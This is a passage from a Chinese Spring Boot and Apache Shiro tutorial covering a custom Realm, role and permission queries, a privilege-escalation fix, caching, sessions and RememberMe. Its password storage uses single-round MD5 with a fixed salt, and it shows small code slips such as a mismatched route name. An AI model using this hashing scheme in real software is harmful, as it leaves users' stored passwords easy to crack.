    private String username;
    private String password;
    private String passwordSalt;
}

MainApp:

@SpringBootApplication
@MapperScan("com.heihu577.mapper")
public class MainApp {
    public static void main(String[] args) {
        ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class, args);
    }
}
UserMapper 根据用户名查询用户信息

定义Mapper接口:

public interface UserMapper {
    // 根据用户名, 查询用户信息
    public User queryUserByUserName(@Param("username") String username);
}

随后我们创建/resources/mappers/UserMapper.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.heihu577.mapper.UserMapper">
    <resultMap id="user" type="User">
        <id property="userId" column="user_id"/>
        <result property="username" column="username"/>
        <result property="password" column="password"/>
        <result property="passwordSalt" column="password_salt"/>
    </resultMap>
    <select id="queryUserByUserName" resultMap="user" parameterType="String">
        SELECT * FROM `tb_users` WHERE `username` = #{username}
    </select>
</mapper>
RoleMapper 根据用户名查询角色信息
public interface RoleMapper {
    // 根据用户名, 查询出角色名称
    public Set<String> queryRoleByUserName(@RequestParam("username") String username);
    /** 涉及到联表查询
     * SELECT * FROM tb_users INNER JOIN tb_urs ON tb_users.user_id = tb_urs.uid INNER JOIN tb_roles ON tb_urs.rid = tb_roles.role_id;
     * +---------+----------+----------+---------------+-----+-----+---------+-----------+
     * | user_id | username | password | password_salt | uid | rid | role_id | role_name |
     * +---------+----------+----------+---------------+-----+-----+---------+-----------+
     * |       1 | zhangsan | 123456   | NULL          |   1 |   1 |       1 | admin     |
     * |       2 | lisi     | 123456   | NULL          |   2 |   2 |       2 | cmanager  |
     * |       3 | wangwu   | 123456   | NULL          |   3 |   3 |       3 | xmanager  |
     * |       4 | zhaoliu  | 123456   | NULL          |   4 |   4 |       4 | kmanager  |
     * |       5 | chenqi   | 123456   | NULL          |   5 |   5 |       5 | zmanager  |
     * +---------+----------+----------+---------------+-----+-----+---------+-----------+
     *
     */
}

定义Mapper文件:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.heihu577.mapper.RoleMapper">
    <select id="queryRoleByUserName" resultType="String" parameterType="String">
        SELECT role_name FROM tb_users
        INNER JOIN tb_urs ON tb_users.user_id = tb_urs.uid
        INNER JOIN tb_roles ON tb_urs.rid = tb_roles.role_id
        WHERE username = #{username};
    </select>
</mapper>
PermissionMapper 根据用户名查询权限信息
public interface PermissionMapper {
    public Set<String> queryPermissionByUserName(@RequestParam("username") String username);
}

定义Mapper文件:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.heihu577.mapper.PermissionMapper">
    <select id="queryPermissionByUserName" resultType="String" parameterType="String">
        SELECT permission_code FROM tb_users
        INNER JOIN tb_urs ON tb_users.user_id = tb_urs.uid
        INNER JOIN tb_roles ON tb_urs.rid = tb_roles.role_id
        INNER JOIN tb_rps ON tb_rps.rid = tb_roles.role_id
        INNER JOIN tb_permissions ON tb_permissions.permission_id = tb_rps.pid
        WHERE username = #{username};
    </select>
</mapper>
自定义 Realm 设计

定义如下Realm:

public class MyRealm extends AuthorizingRealm { // 自定义 Realm 通常继承 AuthorizingRealm
    @Resource
    private UserMapper userMapper;
    @Resource
    private RoleMapper roleMapper;
    @Resource
    private PermissionMapper permissionMapper;

    /**
     * @return 当前 Realm 名称, 可自定义名称
     */
    @Override
    public String getName() {
        return "MyRealm";
    }

    /**
     * 准备好授权数据, 授权数据就是当前用户的角色, 当前用户的权限信息, 所以我们只需要准备这些数据, 返回给 SecurityManager 即可.
     */
    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        String username = (String) principals.iterator().next(); // 得到已经登录成功的用户名, 实际上获取到的内容是 doGetAuthenticationInfo 方法中 new SimpleAuthenticationInfo(用户名, 用户密码, 当前Realm名称) 中的第一个参数
        Set<String> roles = roleMapper.queryRoleByUserName(username); // 通过用户名得到角色名称
        Set<String> permissions = permissionMapper.queryPermissionByUserName(username); // 通过用户名得到权限信息

        SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
        info.setRoles(roles); // 将数据库查询出来的信息封装到 AuthorizationInfo 中
        info.setStringPermissions(permissions);

        return info;
    }

    /**
     * 准备好认证数据, 我们无需操心比对, 比对最终交给 SecurityManager, 我们只需要提供数据就可以了.
     * 而认证数据, 我们只需要提供 账号,密码 即可.
     */
    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
        // subject.login(token) 会调用到这里
        UsernamePasswordToken usernamePasswordToken = (UsernamePasswordToken) token; // 认证时, 强制转换
        String username = usernamePasswordToken.getUsername(); // 得到用户名
        User user = userMapper.queryUserByUserName(username); // 从数据库中查询该用户名, 得到该用户信息
        if (user != null) {
            // 成功从数据库中查询到用户, 我们就将用户的信息封装到 AuthenticationInfo 中, SimpleAuthenticationInfo 是 AuthenticationInfo 的子类
            return new SimpleAuthenticationInfo(username, user.getPassword(), this.getName());
            // new SimpleAuthenticationInfo(用户名, 用户密码, 当前Realm名称)
        }
        return null;
    }
}

我们只需要重写doGetAuthenticationInfo方法, 并且返回AuthenticationInfo类型的数据即可, AuthenticationInfo类型的数据中封装的就是用户的账号与密码信息.

重写doGetAuthorizationInfo方法, 并且返回AuthorizationInfo类型的信息, AuthorizationInfo中包含了用户的角色, 权限信息.

重写getName方法, 为我们的自定义Realm增加一个名称.

image-20241009172138655.png


从上面可以看到的是, 我们自定义Realm成功参与了自己的数据库查询逻辑在里面, 我们使用了MyBatis从数据库中取数据, 将数据放入到返回对象中. 因为比对工作是由SecurityManager完成的, 所以我们这里只需提供数据即可, 无需加入自己的业务逻辑判断. 当然, 为了验证方便, 我们依然使用之前的login.html, index.html, UserServiceImpl, PageController, UserController进行做测试即可.

最终运行效果:

image-20241009174342555.png

不同的用户, 不同的角色, 具有不同的权限.

Layui 优化界面

去 [url]https://www.layuicdn.com/docs/v2/demo/admin.html[/url] 中拷贝代码, 并且下载 Layui 所需要的 css 与 js.

并且将 Layui 中的 CSS 与 JS 放入到 /resource/static目录下, 定义/resources/templates/index.html文件内容如下:

<!DOCTYPE html>
<html xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
    <base href="/"> <!-- 一定要加入这一行代码, 避免 CSS, JS 引用出错. -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width">
    <title>layout 管理系统大布局 - Layui</title>
    <link rel="stylesheet" href="./layui/css/layui.css">
</head>
<body>
<div class="layui-layout layui-layout-admin">
    <div class="layui-header">
        <div class="layui-logo layui-hide-xs layui-bg-black">layout demo</div>
        <!-- 头部区域(可配合layui 已有的水平导航) -->
        <ul class="layui-nav layui-layout-left">
            <!-- 移动端显示 -->
            <li class="layui-nav-item layui-show-xs-inline-block layui-hide-sm" lay-header-event="menuLeft">
                <i class="layui-icon layui-icon-spread-left"></i>
            </li>

            <li class="layui-nav-item layui-hide-xs"><a href="">nav 1</a></li>
            <li class="layui-nav-item layui-hide-xs"><a href="">nav 2</a></li>
            <li class="layui-nav-item layui-hide-xs"><a href="">nav 3</a></li>
            <li class="layui-nav-item">
                <a href="javascript:;">nav groups</a>
                <dl class="layui-nav-child">
                    <dd><a href="">menu 11</a></dd>
                    <dd><a href="">menu 22</a></dd>
                    <dd><a href="">menu 33</a></dd>
                </dl>
            </li>
        </ul>
        <shiro:user>
            <ul class="layui-nav layui-layout-right">
                <li class="layui-nav-item layui-hide layui-show-md-inline-block">
                    <a href="javascript:;">
                        <img src="x" alt="图片显示错误" class="layui-nav-img">
                        <shiro:principal/>
                    </a>
                    <dl class="layui-nav-child">
                        <dd><a href="">Your Profile</a></dd>
                        <dd><a href="">Settings</a></dd>
                        <dd><a href="">Sign out</a></dd>
                    </dl>
                </li>
                <li class="layui-nav-item" lay-header-event="menuRight" lay-unselect>
                    <a href="javascript:;">
                        <i class="layui-icon layui-icon-more-vertical"></i>
                    </a>
                </li>
            </ul>
            <shiro:user>
    </div>

    <div class="layui-side layui-bg-black">
        <div class="layui-side-scroll">
            <!-- 左侧导航区域(可配合layui已有的垂直导航) -->
            <ul class="layui-nav layui-nav-tree" lay-filter="test">
                <li class="layui-nav-item layui-nav-itemed">
                    <a class="" href="javascript:;">仓库管理</a>
                    <dl class="layui-nav-child">
                        <shiro:hasPermission name="sys:c:save">
                            <dd><a href="javascript:;">入库</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:c:delete">
                            <dd><a href="javascript:;">出库</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:c:delete">
                            <dd><a href="javascript:;">更新仓库</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:c:delete">
                            <dd><a href="">查找仓库</a></dd>
                        </shiro:hasPermission>
                    </dl>
                </li>

                <li class="layui-nav-item layui-nav-itemed">
                    <a class="" href="javascript:;">销售管理</a>
                    <dl class="layui-nav-child">
                        <shiro:hasPermission name="sys:x:save">
                            <dd><a href="javascript:;">保存订单</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:x:delete">
                            <dd><a href="javascript:;">删除订单</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:x:delete">
                            <dd><a href="javascript:;">更新订单</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:x:delete">
                            <dd><a href="">查询订单</a></dd>
                        </shiro:hasPermission>
                    </dl>
                </li>

                <li class="layui-nav-item layui-nav-itemed">
                    <a class="" href="javascript:;">客户管理</a>
                    <dl class="layui-nav-child">
                        <shiro:hasPermission name="sys:k:save">
                            <dd><a href="javascript:;">新增客户</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:k:delete">
                            <dd><a href="javascript:;">删除客户</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:k:update">
                            <dd><a href="javascript:;">修改客户</a></dd>
                        </shiro:hasPermission>
                        <shiro:hasPermission name="sys:k:find">
                            <dd><a href="">查询客户</a></dd>
                        </shiro:hasPermission>
                    </dl>
                </li>

            </ul>
        </div>
    </div>

    <div class="layui-body">
        <!-- 内容主体区域 -->
        <div style="padding: 15px;">内容主体区域。记得修改 layui.css 和 js 的路径</div>
    </div>

    <div class="layui-footer">
        <!-- 底部固定区域 -->
        底部固定区域
    </div>
</div>
<script src="./layui/layui.js"></script>
<script>
    //JS
    layui.use(['element', 'layer', 'util'], function () {
        var element = layui.element
            , layer = layui.layer
            , util = layui.util
            , $ = layui.$;

        //头部事件
        util.event('lay-header-event', {
            //左侧菜单事件
            menuLeft: function (othis) {
                layer.msg('展开左侧菜单的操作', {icon: 0});
            }
            , menuRight: function () {
                layer.open({
                    type: 1
                    , content: '<div style="padding: 15px;">处理右侧面板的操作</div>'
                    , area: ['260px', '100%']
                    , offset: 'rt' //右上角
                    , anim: 5
                    , shadeClose: true
                });
            }
        });
    });
</script>
</body>
</html>

最终运行结果:

image-20241010135443863.png

项目打包

在pom.xml文件中增加如下内容:

<build>
    <plugins>
        <plugin>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-maven-plugin</artifactId>
        </plugin>
    </plugins>
</build>

随后用maven打包即可:

image-20241009175453962.png

如果在别的机器进行部署, 这里数据库链接等信息一定要配置好, 否则项目启动不来.

Shiro 加密

加密的过程如下:

image-20241010192638014.png

研究这部分内容, 我们需要将数据库中Password值都改为MD5处理后的值, 过程如下:

mysql> SELECT * FROM tb_users;
+---------+----------+----------+---------------+
| user_id | username | password | password_salt |
+---------+----------+----------+---------------+
|       1 | zhangsan | 123456   | NULL          |
|       2 | lisi     | 123456   | NULL          |
|       3 | wangwu   | 123456   | NULL          |
|       4 | zhaoliu  | 123456   | NULL          |
|       5 | chenqi   | 123456   | NULL          |
+---------+----------+----------+---------------+
5 rows in set (0.00 sec)

mysql> UPDATE `tb_users` SET password = md5(password);
Query OK, 5 rows affected (0.54 sec)
Rows matched: 5  Changed: 5  Warnings: 0

mysql> SELECT * FROM `tb_users`;
+---------+----------+----------------------------------+---------------+
| user_id | username | password                         | password_salt |
+---------+----------+----------------------------------+---------------+
|       1 | zhangsan | e10adc3949ba59abbe56e057f20f883e | NULL          |
|       2 | lisi     | e10adc3949ba59abbe56e057f20f883e | NULL          |
|       3 | wangwu   | e10adc3949ba59abbe56e057f20f883e | NULL          |
|       4 | zhaoliu  | e10adc3949ba59abbe56e057f20f883e | NULL          |
|       5 | chenqi   | e10adc3949ba59abbe56e057f20f883e | NULL          |
+---------+----------+----------------------------------+---------------+
5 rows in set (0.00 sec)

那么接下来我们看一下如何使Shiro支持MD5的验证, 我们在配置类中增加如下代码:

@Bean
public HashedCredentialsMatcher hashedCredentialsMatcher() {
    HashedCredentialsMatcher hashedCredentialsMatcher = new HashedCredentialsMatcher();
    hashedCredentialsMatcher.setHashAlgorithmName("md5"); // 设置数据库存储的密码格式
    hashedCredentialsMatcher.setHashIterations(1); // 经过几次加密, 如果是2的话则是该含义: md5(md5(值))
    return hashedCredentialsMatcher;
}

@Bean
public MyRealm myRealm(HashedCredentialsMatcher hashedCredentialsMatcher) {
    MyRealm myRealm = new MyRealm();
    myRealm.setCredentialsMatcher(hashedCredentialsMatcher); // 将加密算法设置给 Realm
    return myRealm;
}

其这样设计的含义如下:

image-20241010153841128.png

我们只需要将加密规则封装到Realm中, SecurityManager中的Authenticator就会根据matcher的加密规则来进行校验.

用户加盐

此功能模块我们最好还是配合上用户注册功能进行测试, 定义如下UserController:

@PostMapping("/register")
public String register(String username, String password){
    try {
        userService.insertUser(username, password);
        return "login";
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

定义UserServiceImpl::insertUser方法:

@Service
public class UserServiceImpl {
    @Resource
    private UserMapper userMapper;

    // ...

    public void insertUser(String username, String password) throws Exception {
        // Md5Hash md5Hash = new Md5Hash(password); // 进行 MD5 加密
        String salt = "mysalt"; // 实战中盐可以随机
        password = new Md5Hash(password, salt).toHex(); // md5(盐 + 密码)
        User user = new User();
        user.setUsername(username);
        user.setPassword(password);
        user.setPasswordSalt(salt); // 设置盐
        userMapper.insertUser(user); // 最终将盐也添加进去.
    }
}

而UserMapper接口定义如下:

public void insertUser(User user);
/* 实现:
    <insert id="insertUser" parameterType="User">
        INSERT INTO `tb_users` VALUES(NULL, #{username}, #{password}, #{passwordSalt});
    </insert>
*/

随后我们在MyRealm::doGetAuthenticationInfo方法中将盐返回给SecurityManager:

@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
    // subject.login(token) 会调用到这里
    UsernamePasswordToken usernamePasswordToken = (UsernamePasswordToken) token; // 认证时, 强制转换
    String username = usernamePasswordToken.getUsername(); // 得到用户名
    User user = userMapper.queryUserByUserName(username); // 从数据库中查询该用户名, 得到该用户信息
    if (user != null) {
        // 成功从数据库中查询到用户, 我们就将用户的信息封装到 AuthenticationInfo 中, SimpleAuthenticationInfo 是 AuthenticationInfo 的子类
        return new SimpleAuthenticationInfo(username, user.getPassword(), ByteSource.Util.bytes(user.getPasswordSalt()), this.getName()); // 注意这里的 ByteSource.Util.bytes(user.getPasswordSalt()) 用于返回盐
        // new SimpleAuthenticationInfo(用户名, 用户密码, 当前盐, 当前Realm名称)
    }
    return null;
}

测试完毕后, 我们需要将数据库其他用户账号密码统一改为加盐模式, 否则其他用户无法登录:

mysql> update tb_Users set password_salt = '7788', password = MD5(CONCAT(password_salt, '123456')) WHERE user_id < 6; -- 其他用户密码统一设置为123456
Query OK, 5 rows affected (0.11 sec)
Rows matched: 5  Changed: 5  Warnings: 0

mysql> SELECT * FROM tb_Users;
+---------+----------+----------------------------------+---------------+
| user_id | username | password                         | password_salt |
+---------+----------+----------------------------------+---------------+
|       1 | zhangsan | e97e4623f9bb7f1280233bfbe2793e70 | 7788          |
|       2 | lisi     | e97e4623f9bb7f1280233bfbe2793e70 | 7788          |
|       3 | wangwu   | e97e4623f9bb7f1280233bfbe2793e70 | 7788          |
|       4 | zhaoliu  | e97e4623f9bb7f1280233bfbe2793e70 | 7788          |
|       5 | chenqi   | e97e4623f9bb7f1280233bfbe2793e70 | 7788          |
|       6 | heihu577 | d23170a6c09cb22ef2b690406d86cd64 | mysalt        |
+---------+----------+----------------------------------+---------------+
6 rows in set (0.00 sec)

退出登录

在我们的ShiroAutoConfiguration::ShiroFilterFactoryBean中, 我们增加如下代码:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
    ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
    shiroFilterFactoryBean.setSecurityManager(securityManager);
    Map<String, String> hashMap = new HashMap<>();
    hashMap.put("/", "anon");
    hashMap.put("/login", "anon");
    hashMap.put("/static/**", "anon");
    hashMap.put("/logout", "logout"); // 访问则退出登录
    shiroFilterFactoryBean.setFilterChainDefinitionMap(hashMap);
    shiroFilterFactoryBean.setLoginUrl("/login");
    shiroFilterFactoryBean.setUnauthorizedUrl("/");
    return shiroFilterFactoryBean;
}

当我们访问/logout时, 就会退出登录. 当然也可以在前端页面加入该功能:

<shiro:guest>
    <ul class="layui-nav layui-layout-right">
        <li class="layui-nav-item layui-hide layui-show-md-inline-block">
            <a href="/login">
                登录
            </a>
        </li>
    </ul>
</shiro:guest>
<shiro:user>
    <ul class="layui-nav layui-layout-right">
        <li class="layui-nav-item layui-hide layui-show-md-inline-block">
            <a href="javascript:;">
                <img src="x" alt="图片显示错误" class="layui-nav-img">
                <shiro:principal/>
            </a>
            <dl class="layui-nav-child">
                <dd><a href="">Your Profile</a></dd>
                <dd><a href="">Settings</a></dd>
                <dd><a href="/logout">Sign out</a></dd> <!-- 单机则退出登录 -->
            </dl>
        </li>
        <li class="layui-nav-item" lay-header-event="menuRight" lay-unselect>
            <a href="javascript:;">
                <i class="layui-icon layui-icon-more-vertical"></i>
            </a>
        </li>
    </ul>
    </shiro:user>
</div>

授权

用户登陆成功之后, 要进行响应的操作就需要有对应的权限; 在进行操作之前对权限进行检查 - 授权.

权限控制通常有两类做法:

  • 不同身份的用户登录,不同的操作菜单(没有权限的菜单不显示)
  • 对所有用户显示所有菜单,当用户点击菜单以后再验证当前用户是否有此权限,如果没有则提示权限不足。
HTML 授权 - shiro 标签

我们使用<shiro:hasRole name="角色名">, <shiro:hasPermission name="权限名">, 可以判断当前角色是否具有某种权限, 从而显示在页面上, 例如:

<shiro:hasRole name="kmanager"> <!-- 是否是 kmanager 角色 -->
    <li class="layui-nav-item layui-nav-itemed">
        <a class="" href="javascript:;">客户管理</a>
        <dl class="layui-nav-child">
            <shiro:hasPermission name="sys:k:save"> <!-- 是否具有 sys:k:save 权限 -->
                <dd><a href="javascript:;">新增客户</a></dd>
            </shiro:hasPermission>
            <shiro:hasPermission name="sys:k:delete">
                <dd><a href="javascript:;">删除客户</a></dd>
            </shiro:hasPermission>
            <shiro:hasPermission name="sys:k:update">
                <dd><a href="javascript:;">修改客户</a></dd>
            </shiro:hasPermission>
            <shiro:hasPermission name="sys:k:find">
                <dd><a href="">查询客户</a></dd>
            </shiro:hasPermission>
        </dl>
    </li>
</shiro:hasRole>

最终运行效果如图:

image-20241011144244662.png

可以发现zhaoliu和lisi登陆上显示的功能模块是不同的.

过滤器授权 - 修复越权

当然, 我们上面lisi用户是不存在查询客户权限的, 那么当lisi通过一些手段得到了查询客户的API路径, 则会造成越权漏洞, 我们可以本地模拟一下这个环境.

在PageController中定义方法:

@RequestMapping("/xFind")
public String kFind() {
    return "k_find"; // 定位到 /resources/templates/k_find.html 文件
}

定义k_find.html页面:

<!DOCTYPE html>
<html lang="en" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
    <meta charset="UTF-8">
    <title>查询客户页面</title>
</head>
<body>
<h3>查询客户主页</h3>
<h4>当前用户: <shiro:principal/></h4>
</body>
</html>

随后定义/resources/templates/index.html模板, 在该模板中增加一个iframe, 以及超链接跳转:

<shiro:hasPermission name="sys:k:find">
    <dd><a href="/kFind" target="MainIframe">查询客户</a></dd>
    <!-- 其他内容... -->
</shiro:hasPermission>
<div class="layui-body">
    <iframe width="100%" height="780" name="MainIframe"></iframe>
</div>

随后我们查看zhaoliu (具有查询客户权限)以及wangwu (不具有查询客户权限)的两种访问情况:

image-20241011150624816.png

实际场景 wangwu 也存在查询客户的权限, 因为 \<shiro:hasRole> 标签功能被隐藏了, 测试的时候最好使用 zhangsan & zhaoliu进行测试.

这样就造成了一个越权漏洞, 而修复方法也很简单, 我们只需要对/kFind这个路由增加权限判断即可, 那么我们配置ShiroFilter如下:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
    ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
    shiroFilterFactoryBean.setSecurityManager(securityManager);
    Map<String, String> hashMap = new HashMap<>();
    hashMap.put("/", "anon"); // / 支持匿名访问
    hashMap.put("/login", "anon"); // login 支持匿名访问
    hashMap.put("/static/**", "anon"); // static 下的内容随便访问
    hashMap.put("/logout", "logout"); // 访问则退出登录
    hashMap.put("/kFind", "perms[sys:k:find]"); // 当前用户存在 sys:k:find 权限才允许访问
    shiroFilterFactoryBean.setFilterChainDefinitionMap(hashMap);
    shiroFilterFactoryBean.setLoginUrl("/login");
    shiroFilterFactoryBean.setUnauthorizedUrl("/"); // 当权限不允许时, 跳转的路径
    return shiroFilterFactoryBean;
}

配置完毕后不存在sys:k:find权限的用户直接访问/kFind会被拦截.

注解授权 - 修复越权

除了上面的方法, 我们也可以在PageController::kFind上面定义注解:

@RequestMapping("/kFind")
@RequiresPermissions("sys:k:find") // 如果当前用户具备该权限, 那么才让访问.
public String kFind() {
    return "k_find"; // 定位到 /resources/templates/k_find.html 文件
}

当然定义完毕后, 我们需要在ShiroAutoConfigruation类中进行定义该注解所需要的Bean:

@Bean
public DefaultAdvisorAutoProxyCreator defaultAdvisorAutoProxyCreator() {
    DefaultAdvisorAutoProxyCreator advisorAutoProxyCreator = new DefaultAdvisorAutoProxyCreator();
    advisorAutoProxyCreator.setProxyTargetClass(true);
    return advisorAutoProxyCreator;
}

@Bean
public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) {
    AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor();
    advisor.setSecurityManager(securityManager);
    return advisor;
}

如果当前用户不存在sys:k:find权限, 那么会显示如下内容:

image-20241011155902077.png

并且IDEA中会收到抛出来的异常信息:

org.apache.shiro.authz.AuthorizationException: Not authorized to invoke method: public java.lang.String com.heihu577.controller.PageController.kFind()

那么这种情况我们应该如何处理呢?这里我们可以通过Spring全局异常来将其跳转到某个页面中去即可.

package com.heihu577.exception;

@ControllerAdvice
public class ErrorHandler {
    @ExceptionHandler(AuthorizationException.class)
    public ModelAndView handleException(Exception e) {
        ModelAndView modelAndView = new ModelAndView("index"); // 认证失败跳转到主页
        modelAndView.addObject("exception", e);
        System.out.println("进入异常处理...");
        return modelAndView;
    }
}
手工授权 - 修复越权

当然我们也可以使用subject进行判断, 代码如下:

@RequestMapping("/kFind")
// @RequiresPermissions("sys:k:find")
public String kFind() {
    Subject subject = SecurityUtils.getSubject();
    if (subject.isPermitted("sys:k:find")) {
        return "k_find"; 
    } else {
        return "index";
    }
}

Shiro 缓存使用

我们看一下下面这个问题, 在MyRealm中增加输出语句:

@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
    String username = (String) principals.iterator().next(); // 得到已经登录成功的用户名, 实际上获取到的内容是 doGetAuthenticationInfo 方法中 new SimpleAuthenticationInfo(用户名, 用户密码, 当前Realm名称) 中的第一个参数
    Set<String> roles = roleMapper.queryRoleByUserName(username); // 通过用户名得到角色名称
    Set<String> permissions = permissionMapper.queryPermissionByUserName(username); // 通过用户名得到权限信息
    System.out.println("我在授权...."); // 增加该语句
    SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
    info.setRoles(roles); // 将数据库查询出来的信息封装到 AuthorizationInfo 中
    info.setStringPermissions(permissions);

    return info;
}

那么我们登录随意一个用户进行测试:

登录lisi:

我在授权.... (显示12次)

其原因则是我们/resource/templates/index.html中使用了<shiro:hasPermission>进行判断, 每使用一次<shiro:hasPermission>就会调用一次MyRealm::doGetAuthorizationInfo方法.

下面在pom.xml文件中进行引入缓存:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-cache</artifactId>
</dependency>
<dependency>
    <groupId>net.sf.ehcache</groupId>
    <artifactId>ehcache</artifactId>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-cache</artifactId>
    <version>1.4.1</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-ehcache</artifactId>
    <version>1.4.1</version>
</dependency>

当然了, 准备了ehcache就需要定义/resources/ehcache.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<ehcache>
    <diskStore path="java.io.tmpdir/Tmp_EhCache"/>
    <defaultCache eternal="false" maxElementsInMemory="10000" overflowToDisk="false" diskPersistent="false"
                  timeToIdleSeconds="1800" timeToLiveSeconds="259200" memoryStoreEvictionPolicy="LRU"/>
</ehcache>

随后我们在ShiroAutoConfiguration中进行配置:

// ... 其他代码
@Bean
public EhCacheManager ehCacheCacheManager() {
    EhCacheManager ehCacheManager = new EhCacheManager();
    ehCacheManager.setCacheManagerConfigFile("classpath:ehcache.xml");
    return ehCacheManager;
}

@Bean
public SecurityManager securityManager(MyRealm myRealm, EhCacheManager ehCacheManager) { // 增加一个 EhCacheManager 参数
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    securityManager.setRealm(myRealm);
    securityManager.setCacheManager(ehCacheManager); // 配置到 Realm 中去
    return securityManager;
}

修改完毕后, 我们再次授权就不会每次都访问数据库了.

SESSION 管理

在 Shiro 中我们可以进行管理SESSION, 例如: 设置 SESSION 多少秒过期等操作.

@Bean
public DefaultSessionManager getDefaultSessionManager() {
    DefaultSessionManager defaultSessionManager = new DefaultSessionManager();
    defaultSessionManager.setGlobalSessionTimeout(15); // 15 毫秒后 session 失效
    return defaultSessionManager;
}
@Bean
public SecurityManager securityManager(MyRealm myRealm, EhCacheManager ehCacheManager) {
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    securityManager.setRealm(myRealm);
    securityManager.setCacheManager(ehCacheManager);
    securityManager.setSessionManager(getDefaultSessionManager()); // 将 Session Manager 放入到 Security Manager 中
    return securityManager;
}

RememberMe

我们日常的记住密码功能, 实现思路如下:

image-20241011205011371.png

可以看到, 是基于COOKIE进行操作的.


Shiro对页面访问的权限分为三个级别:

  • 未认证 - 可访问的页面, 例如: 登录入口.html, 注册入口.html
  • 记住我 - 可访问的页面, 例如: 个人信息.html
  • 已认证 - 可访问的页面, 例如: 转账.html

而大概的流程如下:

image-20241011210229970.png

为了方便测试, 我们修改/resource/templates/login.html文件内容如下:

<form action="/user/login" method="post">
    u: <input type="text" name="username"/><br>
    p: <input type="password" name="password"/><br>
    记住我: <input type="checkbox" name="rememberMe"><br>
    <span th:text="${msg}" style="color:red"></span>
    <input type="submit">
</form>

因为rememberMe是基于Cookie的, 所以我们需要在SecurityManager中增加CookieManager, 那么我们在ShiroAutoConfiguration中进行定义:

@Bean
public CookieRememberMeManager getRememberMeManager() { // 支持 RememberMe, 并设置 Cookie
    CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
    SimpleCookie simpleCookie = new SimpleCookie("rememberMe"); // 让服务器检查 rememberMe 键, 这里必须设置
    simpleCookie.setMaxAge(60); // 60 秒后过期
    cookieRememberMeManager.setCookie(simpleCookie);
    return cookieRememberMeManager;
}

@Bean
public SecurityManager securityManager(MyRealm myRealm, EhCacheManager ehCacheManager) { // 定义 SecurityManager
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    securityManager.setRealm(myRealm);
    securityManager.setCacheManager(ehCacheManager);
    securityManager.setSessionManager(getDefaultSessionManager());
    securityManager.setRememberMeManager(getRememberMeManager()); // 设置 RememberMeManager
    return securityManager;
}

随后我们在UserController::login页面中进行接收rememberMe传递来的数据:

@PostMapping("/login")
public ModelAndView login(String username, String password, @RequestParam(defaultValue = "false", required = false) String rememberMe) {
    ModelAndView modelAndView = new ModelAndView();
    try {
        userService.checkLogin(username, password, rememberMe); // 传递给 userService
        modelAndView.setViewName("index");
    } catch (Exception e) {
        modelAndView.addObject("msg", "登陆失败!");
        modelAndView.setViewName("login");
    } finally {
        return modelAndView;
    }
}

那么UserServiceImpl::checkLogin的定义如下:

public void checkLogin(String username, String password, String rememberMe) throws Exception {
    Subject subject = SecurityUtils.getSubject();
    UsernamePasswordToken token = new UsernamePasswordToken(username, password);
    if ("on".equals(rememberMe)) { // 如果选中, 那么直接设置 rememberMe 为 true
        token.setRememberMe(true);
    }
    subject.login(token);
}

随后我们在ShiroAutoConfiguration中进行配置ShiroFilter的具体页面的权限分配:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
    ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
    shiroFilterFactoryBean.setSecurityManager(securityManager);
    Map<String, String> hashMap = new HashMap<>();
    hashMap.put("/", "user"); // 设置为 记住我 访问
    /**
     * anon 未认证可访问
     * user 记住我可访问 (已认证也可以访问)
     * authc 已认证可访问
